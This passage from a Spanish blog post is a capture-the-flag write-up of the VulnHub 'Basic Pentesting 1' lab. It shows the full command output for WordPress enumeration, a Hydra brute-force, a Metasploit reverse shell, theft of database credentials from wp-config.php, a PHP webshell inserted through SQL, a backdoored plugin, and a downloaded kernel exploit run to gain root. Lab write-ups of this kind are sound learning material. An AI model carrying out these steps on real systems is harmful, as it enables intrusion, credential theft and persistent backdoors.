style=\"width: 690px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/jagumiel.xyz\/blog\/wp-content\/uploads\/2025\/08\/2-identify-admin.png\">\n<img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-700\" class=\"aligncenter size-full wp-image-700\" \n     src=\"https:\/\/jagumiel.xyz\/blog\/wp-content\/uploads\/2025\/08\/2-identify-admin.png\" \n     alt=\"Post de blog de WordPress que revela el usuario \u201cadmin\u201d como autor.\" \n     width=\"569\" height=\"234\" \/>\n<\/a><p id=\"caption-attachment-700\" class=\"wp-caption-text\">Imagen 3. El autor del post de bienvenida permite identificar credenciales objetivo.<\/p><\/div>\n\n\n\n<p>A continuaci\u00f3n, utilizo wpscan para identificar informaci\u00f3n clave del CMS:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u250c\u2500\u2500(osboxes\u327fosboxes)-&#091;~\/Desktop\/marlinspike]\n\u2514\u2500$ wpscan --url http:\/\/192.168.40.138\/secret --enumerate u                  \n&#091;+] URL: http:\/\/192.168.40.138\/secret\/ &#091;192.168.40.138]\nInteresting Finding(s):\n&#091;+] Headers\n | Interesting Entry: Server: Apache\/2.4.18 (Ubuntu)\n | Found By: Headers (Passive Detection)\n | Confidence: 100%\n&#091;+] XML-RPC seems to be enabled: http:\/\/192.168.40.138\/secret\/xmlrpc.php\n | Found By: Direct Access (Aggressive Detection)\n | Confidence: 100%\n | References:\n |  - http:\/\/codex.wordpress.org\/XML-RPC_Pingback_API\n |  - https:\/\/www.rapid7.com\/db\/modules\/auxiliary\/scanner\/http\/wordpress_ghost_scanner\/\n |  - https:\/\/www.rapid7.com\/db\/modules\/auxiliary\/dos\/http\/wordpress_xmlrpc_dos\/\n |  - https:\/\/www.rapid7.com\/db\/modules\/auxiliary\/scanner\/http\/wordpress_xmlrpc_login\/\n |  - https:\/\/www.rapid7.com\/db\/modules\/auxiliary\/scanner\/http\/wordpress_pingback_access\/\n&#091;+] WordPress readme found: http:\/\/192.168.40.138\/secret\/readme.html\n | Found By: Direct Access (Aggressive Detection)\n | Confidence: 100%\n&#091;+] The external WP-Cron seems to be enabled: http:\/\/192.168.40.138\/secret\/wp-cron.php\n | Found By: Direct Access (Aggressive Detection)\n | Confidence: 60%\n | References:\n |  - https:\/\/www.iplocation.net\/defend-wordpress-from-ddos\n |  - https:\/\/github.com\/wpscanteam\/wpscan\/issues\/1299\n&#091;+] WordPress version 4.9 identified (Insecure, released on 2017-11-16).\n | Found By: Emoji Settings (Passive Detection)\n |  - http:\/\/192.168.40.138\/secret\/, Match: 'wp-includes\\\/js\\\/wp-emoji-release.min.js?ver=4.9'\n | Confirmed By: Meta Generator (Passive Detection)\n |  - http:\/\/192.168.40.138\/secret\/, Match: 'WordPress 4.9'\n&#091;i] The main theme could not be detected.\n&#091;+] Enumerating Users (via Passive and Aggressive Methods)\n Brute Forcing Author IDs - Time: 00:00:00 &lt;&gt; (10 \/ 10) 100.00% Time: 00:00:00\n&#091;i] User(s) Identified:\n&#091;+] admin\n | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)\n | Confirmed By: Login Error Messages (Aggressive Detection)\n\n&#091;!] No WPScan API Token given, as a result vulnerability data has not been output.\n&#091;!] You can get a free API token with 25 daily requests by registering at https:\/\/wpscan.com\/register<\/code><\/pre>\n\n\n\n<p>Nos ha arrojado informaci\u00f3n que ya ten\u00edamos sobre Apache y sobre el usuario de WordPress, confirmando que es \u201cadmin\u201d. Si estuvi\u00e9ramos registrados en su web, recebiriamos un token para su API, a trav\u00e9s del cual podr\u00edamos tener informaci\u00f3n adicional sobre vulnerabilidades CVE presentes en su correspondiente versi\u00f3n.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Acceso con credenciales por defecto<\/h3>\n\n\n\n<p>Conociendo wordpress, es frecuente que exista una p\u00e1gina llamada wp-admin. Y efectivamente, si entramos en vtcsec\/secret\/wp-admin encontramos la pantalla de login. He probado con las credenciales por defecto (usuario \u201cadmin\u201d y contrase\u00f1a \u201cadmin\u201d y me ha dejado acceder al panel. Esto no deber\u00eda ocurrir, pero ya vemos que no estaba securizado. Esto representa una falla cr\u00edtica de seguridad al no haber sido cambiadas las credenciales predeterminadas.<\/p>\n\n\n\n<div id=\"attachment_701\" style=\"width: 690px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/jagumiel.xyz\/blog\/wp-content\/uploads\/2025\/08\/3-wordpress_admin.png\">\n<img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-701\" class=\"aligncenter size-full wp-image-701\" \n     src=\"https:\/\/jagumiel.xyz\/blog\/wp-content\/uploads\/2025\/08\/3-wordpress_admin.png\" \n     alt=\"Formulario de inicio de sesi\u00f3n de WordPress localizado en \/wp-login.php\" \n     width=\"569\" height=\"234\" \/>\n<\/a><p id=\"caption-attachment-701\" class=\"wp-caption-text\">Imagen 4. Pantalla de login en WordPress para ingresar con el usuario admin.<\/p><\/div>\n\n\n\n<h3 class=\"wp-block-heading\">Acceso por fuerza bruta<\/h3>\n\n\n\n<p>Las cosas no siempre son as\u00ed de f\u00e1ciles, es por ello que existen otras formas de conseguir acceso, o de buscar la contrase\u00f1a (o al menos, intentarlo). Una opci\u00f3n es con Hydra. Lanc\u00e9 un ataque de fuerza bruta con el diccionario \u201crockyou.txt\u201d.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u250c\u2500\u2500(osboxes\u327fosboxes)-&#091;~\/Desktop\/marlinspike]\n\u2514\u2500$ hydra -l admin -P \/usr\/share\/wordlists\/rockyou.txt 192.168.40.138 http-form-post '\/secret\/wp-login.php:log=^USER^&amp;pwd=^PASS^&amp;wp-submit=Log In&amp;testcookie=1:S=Location'                                                               \nHydra v9.5 (c) 2023 by van Hauser\/THC &amp; David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).\n\nHydra (https:\/\/github.com\/vanhauser-thc\/thc-hydra) starting at 2025-07-30 22:03:44\n&#091;DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1\/p:14344398), ~896525 tries per task\n&#091;DATA] attacking http-post-form:\/\/192.168.40.138:80\/secret\/wp-login.php:log=^USER^&amp;pwd=^PASS^&amp;wp-submit=Log In&amp;testcookie=1:S=Location\n&#091;STATUS] 4154.00 tries\/min, 4154 tries in 00:01h, 14340244 to do in 57:33h, 16 active\n&#091;STATUS] 4129.33 tries\/min, 12388 tries in 00:03h, 14332010 to do in 57:51h, 16 active\n&#091;80]&#091;http-post-form] host: 192.168.40.138   login: admin   password: admin\n1 of 1 target successfully completed, 1 valid password found\nHydra (https:\/\/github.com\/vanhauser-thc\/thc-hydra) finished at 2025-07-30 22:08:32<\/code><\/pre>\n\n\n\n<p>Explicaci\u00f3n r\u00e1pida del commando:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>-l admin: Usuario objetivo (identificado previamente con WPScan).<\/li>\n\n\n\n<li>-P \/usr\/share\/wordlists\/rockyou.txt: Lista de contrase\u00f1as com\u00fan.<\/li>\n\n\n\n<li>http-form-post: Tipo de ataque dirigido a formularios HTML v\u00eda POST.<\/li>\n\n\n\n<li><strong>Ruta del formulario<\/strong>: \/secret\/wp-login.php.<\/li>\n\n\n\n<li><strong>Campos del formulario<\/strong>:<ul><li>log=^USER^: Campo para el usuario.<\/li><\/ul><ul><li>pwd=^PASS^: Campo para la contrase\u00f1a.<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>wp-submit=Log In y testcookie=1: Par\u00e1metros fijos requeridos por WordPress.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>S=Location: Criterio de \u00e9xito \u2192 si hay una cabecera Location: (redirecci\u00f3n 302), el login fue correcto.<\/li>\n<\/ul>\n\n\n\n<p><strong>Nota:<\/strong> Este comportamiento lo valid\u00e9 previamente usando curl, observando que los logins exitosos redirigen a \/wp-admin\/, mientras que los fallidos devuelven un 200 OK junto a un mensaje de error.<\/p>\n\n\n\n<p>Hydra detect\u00f3 como v\u00e1lidas las credenciales admin:admin, confirmando que la configuraci\u00f3n por defecto del CMS no hab\u00eda sido modificada.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Pentesting en WordPress: explotaci\u00f3n y persistencia<\/h3>\n\n\n\n<p>Continuamos con el pentesting. Una vez identificada y enumerada correctamente la instalaci\u00f3n de WordPress, pasamos a su explotaci\u00f3n. En este caso, se utilizaron varias t\u00e9cnicas para obtener una shell remota y posteriormente escalar privilegios hasta root.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">Explotaci\u00f3n del panel de administraci\u00f3n<\/h4>\n\n\n\n<p>WordPress permite la autenticaci\u00f3n al panel de administraci\u00f3n con las credenciales admin:admin. Aprovechando esto, utilic\u00e9 el m\u00f3dulo wp_admin_shell_upload de Metasploit para subir una reverse shell y obtener acceso al sistema.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>msf6 exploit(unix\/webapp\/wp_crop_rce) &gt; use exploit\/unix\/webapp\/wp_admin_shell_upload\n&#091;*] No payload configured, defaulting to php\/meterpreter\/reverse_tcp\nmsf6 exploit(unix\/webapp\/wp_admin_shell_upload) &gt; set RHOSTS 192.168.40.138\nRHOSTS =&gt; 192.168.40.138\nmsf6 exploit(unix\/webapp\/wp_admin_shell_upload) &gt; set TARGETURI \/secret\nTARGETURI =&gt; \/secret\nmsf6 exploit(unix\/webapp\/wp_admin_shell_upload) &gt; set USERNAME admin\nUSERNAME =&gt; admin\nmsf6 exploit(unix\/webapp\/wp_admin_shell_upload) &gt; set PASSWORD admin\nPASSWORD =&gt; admin\nmsf6 exploit(unix\/webapp\/wp_admin_shell_upload) &gt; set LHOST 192.168.40.137\nLHOST =&gt; 192.168.40.137\nmsf6 exploit(unix\/webapp\/wp_admin_shell_upload) &gt; exploit\n&#091;*] Started reverse TCP handler on 192.168.40.137:4444 \n&#091;*] Authenticating with WordPress using admin:admin...\n&#091;+] Authenticated with WordPress\n&#091;*] Preparing payload...\n&#091;*] Uploading payload...\n&#091;*] Executing the payload at \/secret\/wp-content\/plugins\/WDRxVQMxpC\/DnCoYqYwFk.php...\n&#091;*] Sending stage (40004 bytes) to 192.168.40.138\n&#091;+] Deleted DnCoYqYwFk.php\n&#091;+] Deleted WDRxVQMxpC.php\n&#091;+] Deleted ..\/WDRxVQMxpC\n&#091;*] Meterpreter session 3 opened (192.168.40.137:4444 -&gt; 192.168.40.138:45728) at 2025-07-30 23:29:28 +0200\n\nmeterpreter &gt; &#091;*] Meterpreter session 1 opened (192.168.40.137:4444 -&gt; 192.168.40.138:45696) at 2025-07-30 23:31:06 +0200<\/code><\/pre>\n\n\n\n<p>Luego verifiqu\u00e9 el usuario:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>meterpreter &gt; getuid\nServer username: www-data\nmeterpreter &gt; shell\nProcess 10609 created.\nChannel 0 created.\nsh: 0: getcwd() failed: No such file or directory\nsh: 0: getcwd() failed: No such file or directory\n\nwhoami\nwww-data<\/code><\/pre>\n\n\n\n<p>Se obtuvo una Shell de Linux con el usuario web de privilegios limitados www-data.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">An\u00e1lisis del fichero de configuraci\u00f3n de WordPress<\/h4>\n\n\n\n<p>Decido leer el fichero wp-config.php, para ver si encontramos alg\u00fan dato adicional que sea cr\u00edtico.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>cat \/var\/www\/html\/secret\/wp-config.php\n&lt;?php\n\n\/\/ ** MySQL settings - You can get this info from your web host ** \/\/\n\/** The name of the database for WordPress *\/\ndefine('DB_NAME', 'wp_myblog');\n\n\/** MySQL database username *\/\ndefine('DB_USER', 'root');\n\n\/** MySQL database password *\/\ndefine('DB_PASSWORD', 'arootmysqlpass');<\/code><\/pre>\n\n\n\n<p>Hemos obtenido las credenciales de una base de datos. Ahora sabemos que hay una BBDD en MySQL y que se accede con el usuario root y la contrase\u00f1a arootmysqlpass.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">Intento de persistencia por SQL Injection manual<\/h4>\n\n\n\n<p>Ahora que las credenciales ya han sido reveladas, se ha accedido a esta BBDD. Trat\u00e9 de introducir de forma manual una query que me permitiera abrir una puerta trasera a una terminal con permisos de root, pero no lo consegu\u00ed. Se trataba de una webshell en forma de post dentro de la base de datos, usando PHP embebido en una consulta SQL.<\/p>\n\n\n\n<p>Por si acaso, siempre es recomendable tener una copia de seguridad de la base de datos (lo guardamos en la carpeta tmp, para no levantar demasiadas sospechas):<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>mysqldump -u root -p arootmysqlpass &gt; \/tmp\/wordpress_backup.sql<\/code><\/pre>\n\n\n\n<p>Despu\u00e9s, trat\u00e9 lo siguiente:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>mysql -u root -p'arootmysqlpass'\nSHOW DATABASES;\nUSE wp_myblog;\nSELECT * FROM wp_users;<\/code><\/pre>\n\n\n\n<p>En esa table insertar\u00eda la siguiente query:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>mysql&gt; INSERT INTO wp_posts (post_author, post_date, post_date_gmt, post_content, post_title, post_excerpt, post_status, comment_status, ping_status, post_password, post_name, to_ping,pinged, post_modified, post_modified_gmt, post_content_filtered, post_parent, guid, menu_order, post_type, post_mime_type, comment_count) VALUES (1, NOW(), NOW(), '&lt;?php system($_GET&#091;\"cmd\"]); ?&gt;', 'Hacked', '', 'publish', 'closed', 'closed', '', 'hacked-shell', '', '', NOW(), NOW(), '', 0, '', 0, 'post', '', 0); \nQuery OK, 1 row affected (0.00 sec) \n\nmysql&gt; SELECT ID FROM wp_posts WHERE post_title = 'Hacked';\n+----+ \n| ID | \n+----+\n| 15 | \n+----+ \n1 row in set (0.00 sec)<\/code><\/pre>\n\n\n\n<p>La idea es que, introduciendo la llamada a PHP &#8216;&lt;?php system($_GET[\u00abcmd\u00bb]); ?&gt;&#8217; dentro de la query, cuando accediera a la web <a href=\"http:\/\/192.168.40.138\/secret\/wp-admin\/%3C?php_system($_GET%5B%22cmd%22%5D=activate\">http:\/\/192.168.40.138\/secret\/wp-admin\/%3C?php_system($_GET%5B%22cmd%22%5D=activate<\/a> se activara una shell. Y, al otro lado, yo tendr\u00eda abierto en una terminal de Kali el NetCat esperando una conexi\u00f3n a esa Shell remota. Sin embargo, el intento no funcion\u00f3 correctamente, posiblemente por el filtrado interno de WordPress o por ubicaci\u00f3n incorrecta del c\u00f3digo en la plantilla.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">Backdoor alternativa: Plug-in modificado<\/h4>\n\n\n\n<p>Para asegurar persistencia, decid\u00ed dejar la base de datos como estaba e intentar otra forma, esta vez a trav\u00e9s de un Plug-In de WordPress. Decid\u00ed instalar a trav\u00e9s de wp-admin un Plug-In modificado por <a href=\"https:\/\/www.youtube.com\/watch?v=tuB685QRJlg\" target=\"_blank\" rel=\"noopener\" title=\"Exploit de reverse shell por Krysp4.\">Krysp4<\/a>, que se camufla como una herramienta de env\u00edo de emails, pero que en realidad lanza una reverse Shell. El link a este plug-in est\u00e1 en la desripci\u00f3n del video de YouTube enlazado anteriormente.<\/p>\n\n\n\n<div id=\"attachment_702\" style=\"width: 690px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/jagumiel.xyz\/blog\/wp-content\/uploads\/2025\/08\/4-reverse-shell-menu.png\">\n<img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-702\" class=\"aligncenter size-full wp-image-702\" \n     src=\"https:\/\/jagumiel.xyz\/blog\/wp-content\/uploads\/2025\/08\/4-reverse-shell-menu.png\" \n     alt=\"Plugin WP Mail SMTP manipulado para establecer conexi\u00f3n inversa desde WordPress\" \n     width=\"569\" height=\"234\" \/>\n<\/a><p id=\"caption-attachment-702\" class=\"wp-caption-text\">Imagen 5. Plugin personalizado permite conexi\u00f3n remota usando IP y puerto definidos.<\/p><\/div>\n\n\n\n<p>En una terminal de Kali tenemos que tener el siguiente comando en ejecuci\u00f3n, y al dar al bot\u00f3n de conectar, se abrir\u00e1 una Shell inversa:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u250c\u2500\u2500(osboxes\u327fosboxes)-&#091;~]\n\u2514\u2500$ nc -lvnp 4444\nlistening on &#091;any] 4444 ...\nconnect to &#091;192.168.40.137] from (UNKNOWN) &#091;192.168.40.138] 60506\nwhoami\nwww-data<\/code><\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">Escalada de privilegios a root<\/h4>\n\n\n\n<p>Se ha conseguido acceder tanto por a trav\u00e9s de metasploit como con este plug-in a una Shell como www-data, un usuario con muy pocos privilegios. Pero hay un exploit que puede hacer que escalemos a root, gracias a la CVE-2017-16995, una vulnerabilidad del subsistema BPF que afecta a la versi\u00f3n del kernel de la m\u00e1quina objetivo. Vamos a aprovechar esta vulnerabilidad para escalar privilegios:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>www-data@vtcsec:$ cd \/tmp\ncd \/tmp\nchdir: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory\nwww-data@vtcsec:\/tmp$ \n\nwww-data@vtcsec:\/tmp$ pwd\npwd\n\/tmp\nwww-data@vtcsec:\/tmp$ wget http:\/\/192.168.40.137:8000\/exploit\nwget http:\/\/192.168.40.137:8000\/exploit\n--2025-07-31 18:41:38--  http:\/\/192.168.40.137:8000\/exploit\nConnecting to 192.168.40.137:8000... connected.\nHTTP request sent, awaiting response... 200 OK\nLength: 803272 (784K) &#091;application\/octet-stream]\nSaving to: 'exploit'\n\nexploit             100%&#091;===================&gt;] 784.45K  --.-KB\/s    in 0.002s  \n\n2025-07-31 18:41:38 (314 MB\/s) - 'exploit' saved &#091;803272\/803272]\n\nwww-data@vtcsec:\/tmp$ chmod +x exploit  \nchmod +x exploit\nwww-data@vtcsec:\/tmp$ .\/exploit\n.\/exploit\n&#091;.] \n&#091;.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)\n&#091;.] \n&#091;.]   ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **\n&#091;.] \n&#091;*] creating bpf map\n&#091;*] sneaking evil bpf past the verifier\n&#091;*] creating socketpair()\n&#091;*] attaching bpf backdoor to socket\n&#091;*] skbuff =&gt; ffff8a20b8a82000\n&#091;*] Leaking sock struct from ffff8a20af6e6400\n&#091;*] Sock-&gt;sk_rcvtimeo at offset 592\n&#091;*] Cred structure at ffff8a202bb3d3c0\n&#091;*] UID from cred structure: 33, matches the current: 33\n&#091;*] hammering cred structure at ffff8a202bb3d3c0\n&#091;*] credentials patched, launching shell...\n# whoami\nwhoami\nroot<\/code><\/pre>\n\n\n\n<p>En este caso, WordPress es la puerta de entrada. Lo que hemos hecho ha sido acceder a una Shell limitada y hacer un desplazamiento lateral para obtener privilegios de root. Esto demuestra c\u00f3mo un CMS mal gestionado puede ser el inicio de una cadena completa de compromiso.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Reflexiones sobre el proceso de pentesting<\/h2>\n\n\n\n<p>Este laboratorio ha sido una pr\u00e1ctica completa de pentesting realista sobre una m\u00e1quina vulnerable. A lo largo del proceso he podido aplicar y documentar t\u00e9cnicas que forman parte del ciclo de un atacante o red teamer, desde el reconocimiento inicial hasta la escalada de privilegios a root.<\/p>\n\n\n\n<p>Este ha sido el primer trabajo que realizo sobre pen-testing, mi primer CTF, y espero que no sea el \u00faltimo. He tratado de que sea lo m\u00e1s completo posible y que no explore una \u00fanica v\u00eda de ataque, sino tener una visi\u00f3n m\u00e1s global de los vectores de entrada existentes y sus vulnerabilidades. Adem\u00e1s, he tratado de documentarlo de la mejor manera posible.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Galer\u00eda<\/h2>\n\n\n\n\t\t<style type=\"text\/css\">\n\t\t\t#gallery-1 {\n\t\t\t\tmargin: auto;\n\t\t\t}\n\t\t\t#gallery-1 .gallery-item {\n\t\t\t\tfloat: left;\n\t\t\t\tmargin-top: 10px;\n\t\t\t\ttext-align: center;\n\t\t\t\twidth: 16%;\n\t\t\t}\n\t\t\t#gallery-1 img {\n\t\t\t\tborder: 2px solid #cfcfcf;\n\t\t\t}\n\t\t\t#gallery-1 .gallery-caption {\n\t\t\t\tmargin-left: 0;\n\t\t\t}\n\t\t\t\/* see gallery_shortcode() in wp-includes\/media.php *\/\n\t\t<\/style>\n\t\t<div id='gallery-1' class='gallery galleryid-687 gallery-columns-6 gallery-size-thumbnail'><dl class='gallery-item'>\n\t\t\t<dt class='gallery-icon landscape'>\n\t\t\t\t<a href='https:\/\/jagumiel.xyz\/blog\/0-nmap\/'><img loading=\"lazy\" decoding=\"async\" width=\"150\" height=\"150\" src=\"https:\/\/jagumiel.xyz\/blog\/wp-content\/uploads\/2025\/08\/0-nmap-150x150.png\" class=\"attachment-thumbnail size-thumbnail\" alt=\"Captura de Zenmap mostrando puertos abiertos 21, 22 y 80 en un escaneo Nmap detallado.\" aria-describedby=\"gallery-1-698\" \/><\/a>\n\t\t\t<\/dt>\n\t\t\t\t<dd class='wp-caption-text gallery-caption' id='gallery-1-698'>\n\t\t\t\tZenmap revela servicios ProFTPD, OpenSSH y Apache en la IP 192.168.40.138.\n\t\t\t\t<\/dd><\/dl><dl class='gallery-item'>\n\t\t\t<dt class='gallery-icon landscape'>\n\t\t\t\t<a href='https:\/\/jagumiel.xyz\/blog\/1-wordpress\/'><img loading=\"lazy\" decoding=\"async\" width=\"150\" height=\"150\" src=\"https:\/\/jagumiel.xyz\/blog\/wp-content\/uploads\/2025\/08\/1-wordpress-150x150.png\" class=\"attachment-thumbnail size-thumbnail\" alt=\"P\u00e1gina de inicio de WordPress accesible en la URL 192.168.40.138\/secret\" aria-describedby=\"gallery-1-699\" \/><\/a>\n\t\t\t<\/dt>\n\t\t\t\t<dd class='wp-caption-text gallery-caption' id='gallery-1-699'>\n\t\t\t\tInterfaz por defecto de WordPress identificada como punto de entrada potencial.\n\t\t\t\t<\/dd><\/dl><dl class='gallery-item'>\n\t\t\t<dt class='gallery-icon landscape'>\n\t\t\t\t<a href='https:\/\/jagumiel.xyz\/blog\/2-identify-admin\/'><img loading=\"lazy\" decoding=\"async\" width=\"150\" height=\"150\" src=\"https:\/\/jagumiel.xyz\/blog\/wp-content\/uploads\/2025\/08\/2-identify-admin-150x150.png\" class=\"attachment-thumbnail size-thumbnail\" alt=\"Post de blog de WordPress que revela el usuario \u201cadmin\u201d como autor.\" aria-describedby=\"gallery-1-700\" \/><\/a>\n\t\t\t<\/dt>\n\t\t\t\t<dd class='wp-caption-text gallery-caption' id='gallery-1-700'>\n\t\t\t\tEl autor del post de bienvenida permite identificar credenciales objetivo.\n\t\t\t\t<\/dd><\/dl><dl class='gallery-item'>\n\t\t\t<dt class='gallery-icon landscape'>\n\t\t\t\t<a href='https:\/\/jagumiel.xyz\/blog\/3-wordpress_admin\/'><img loading=\"lazy\" decoding=\"async\" width=\"150\" height=\"150\" src=\"https:\/\/jagumiel.xyz\/blog\/wp-content\/uploads\/2025\/08\/3-wordpress_admin-150x150.png\" class=\"attachment-thumbnail size-thumbnail\" alt=\"Formulario de inicio de sesi\u00f3n de WordPress localizado en \/wp-login.php\" aria-describedby=\"gallery-1-701\" \/><\/a>\n\t\t\t<\/dt>\n\t\t\t\t<dd class='wp-caption-text gallery-caption' id='gallery-1-701'>\n\t\t\t\tPantalla de login en WordPress para ingresar con el usuario admin.\n\t\t\t\t<\/dd><\/dl><dl class='gallery-item'>\n\t\t\t<dt class='gallery-icon landscape'>\n\t\t\t\t<a href='https:\/\/jagumiel.xyz\/blog\/4-reverse-shell-menu\/'><img loading=\"lazy\" decoding=\"async\" width=\"150\" height=\"150\" src=\"https:\/\/jagumiel.xyz\/blog\/wp-content\/uploads\/2025\/08\/4-reverse-shell-menu-150x150.png\" class=\"attachment-thumbnail size-thumbnail\" alt=\"Plugin WP Mail SMTP manipulado para establecer conexi\u00f3n inversa desde WordPress\" aria-describedby=\"gallery-1-702\" \/><\/a>\n\t\t\t<\/dt>\n\t\t\t\t<dd class='wp-caption-text gallery-caption' id='gallery-1-702'>\n\t\t\t\tPlugin personalizado permite conexi\u00f3n remota usando IP y puerto definidos.\n\t\t\t\t<\/dd><\/dl>\n\t\t\t<br style='clear: both' \/>\n\t\t<\/div>\n","protected":false},"excerpt":{"rendered":"<p>An\u00e1lisis completo de Basic Pentesting 1 (VulnHub): Enumeraci\u00f3n, explotaci\u00f3n de vulnerabilidades, escalada, persistencia, y otras t\u00e9cnicas reales con Kali Linux.<\/p>\n<p class=\"continue-reading-button\"> <a class=\"continue-reading-link\" href=\"https:\/\/jagumiel.xyz\/blog\/2025\/09\/01\/pentesting-vulnhub-basic-pentesting-1-escalada-persistencia\/\">Continue reading<i class=\"crycon-right-dir\"><\/i><\/a><\/p>\n","protected":false},"author":1,"featured_media":712,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[93,37],"tags":[94,98,96,100,101,95,99,97],"class_list":["post-687","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ciberseguridad","category-linux","tag-cybersecurity","tag-ethical-hacking","tag-hacking-etico","tag-kali","tag-linux","tag-pentesting","tag-vulnhub","tag-white-hat"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/jagumiel.xyz\/blog\/wp-json\/wp\/v2\/posts\/687","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/jagumiel.xyz\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/jagumiel.xyz\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/jagumiel.xyz\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/jagumiel.xyz\/blog\/wp-json\/wp\/v2\/comments?post=687"}],"version-history":[{"count":18,"href":"https:\/\/jagumiel.xyz\/blog\/wp-json\/wp\/v2\/posts\/687\/revisions"}],"predecessor-version":[{"id":738,"href":"https:\/\/jagumiel.xyz\/blog\/wp-json\/wp\/v2\/posts\/687\/revisions\/738"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/jagumiel.xyz\/blog\/wp-json\/wp\/v2\/media\/712"}],"wp:attachment":[{"href":"https:\/\/jagumiel.xyz\/blog\/wp-json\/wp\/v2\/media?parent=687"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/jagumiel.xyz\/blog\/wp-json\/wp\/v2\/categories?post=687"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/jagumiel.xyz\/blog\/wp-json\/wp\/v2\/tags?post=687"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}